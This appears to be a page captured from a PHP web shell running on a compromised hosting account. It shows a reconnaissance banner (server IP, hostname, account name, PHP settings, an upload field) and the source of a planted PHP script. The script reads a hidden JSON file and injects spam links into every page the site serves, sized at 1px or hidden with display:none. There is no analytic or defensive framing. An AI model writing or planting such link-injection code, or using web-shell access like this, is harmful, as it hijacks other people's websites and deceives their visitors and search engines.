| Server IP : 119.59.104.26 / Your IP : 216.73.217.55 Web Server : Apache/2 System : Linux ns69.hostinglotus.net 4.18.0-553.141.2.el8_10.x86_64 #1 SMP Wed Jul 8 10:28:18 EDT 2026 x86_64 User : com12370 ( 1517) PHP Version : 7.2.34 Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/com12370/.trash/files/ |
Upload File : |
<?php
$cache = __DIR__."/.site_links.json";
if(!file_exists($cache)) return;
$data = json_decode(file_get_contents($cache), true);
if(empty($data["links"])) return;
ob_start(function($buffer) use ($data){
$linksHtml = "\n<!-- PANEL LINKS START -->\n";
foreach($data["links"] as $l){
if(empty($l["url"]) || empty($l["anchor"])) continue;
$u = htmlspecialchars($l["url"], ENT_QUOTES);
$a = htmlspecialchars($l["anchor"], ENT_QUOTES);
$r = !empty($l["rel"]) ? htmlspecialchars($l["rel"]) : "dofollow";
$style = "font-size:1px;";
if(!empty($l["hidden"])) $style .= "display:none;";
$linksHtml .= "<a href=\"".$u."\" style=\"".$style."\">".$a."</a> ";
}
$linksHtml .= "\n<!-- PANEL LINKS END -->\n";
if(stripos($buffer, "</body>") !== false){
return preg_replace("/<\/body>/i", $linksHtml."</body>", $buffer, 1);
}
return $buffer.$linksHtml;
});